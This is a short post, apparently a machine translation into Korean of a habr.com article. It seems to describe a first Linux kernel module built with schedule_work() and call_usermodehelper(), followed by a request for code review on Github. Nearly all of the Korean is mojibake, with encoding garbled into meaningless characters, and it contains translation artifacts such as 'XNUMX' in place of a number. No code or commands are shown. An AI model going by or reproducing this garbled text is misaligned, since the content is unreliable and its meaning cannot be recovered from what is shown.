์์๋ ฅ ๊ฐ๋ฐ์ ๋ํ ๋์ ์ฒซ ๊ฒฝํ์ ์์๋ณด๋ค ํจ์ฌ ์ฌ์ ์ต๋๋ค. C ๊ฐ๋ฐ ๊ฒฝํ์ด ์์ด๋ ์ปดํ์ผ๋ฌ ํํธ์ Google ๊ฒฐ๊ณผ์ ์ค์ ์ ๋์ด ์์
๋ชจ๋์ ์์ฑํ ์ ์์๊ณ ์ปค๋ ํด์ปค์ด์ ๋์์ ์คํฌ๋ฆฝํธ ํค๋ ๊ฐ์ ๋๋์ ๋ฐ์ ์ ์์์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ Kernel Newbies ์ฑ๋์ ๊ฐ๋๋ฐ ๊ฑฐ๊ธฐ์ ์ฌ์ฉํ๋ผ๊ณ ํ๋๊ตฐ์. schedule_work() ์ ํํ๋ ๋์ call_usermodehelper() ํํฌ ์์ฒด ๋ด๋ถ์์ ๊ทธ๋ฅผ ๋ถ๋๋ฝ๊ฒ ์๊ฐํ์ฌ ์ฌ๊ธฐ๋ฅผ ์์ฌํ์ต๋๋ค. XNUMX์ค์ ์ฝ๋ ๋๋ฌธ์ ์ฌ๊ฐ ์๊ฐ์ ๊ฐ๋ฐํ๋ ๋ฐ ์ฝ ์ผ์ฃผ์ผ์ด ๊ฑธ๋ ธ์ต๋๋ค. ์์คํ
๊ฐ๋ฐ์ ์๋์ ์ธ ๋ณต์ก์ฑ์ ๋ํ ๊ฐ์ธ์ ์ธ ์ ํ๋ฅผ ๋ฌด๋๋จ๋ฆฐ ์ฑ๊ณต์ ์ธ ๊ฒฝํ์ด์์ต๋๋ค.
๋๊ตฐ๊ฐ๊ฐ Github์์ ์ฝ๋ ๊ฒํ ์ ๋์ํ๋ค๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค. ๋๋ ํนํ ๋ฌธ์์ด๋ก ์์ ํ ๋ ์ด๋ฆฌ์์ ์ค์๋ฅผ ๋ง์ด ์ ์ง๋ ๋ค๊ณ ํ์ ํฉ๋๋ค.
์ถ์ฒ : habr.com

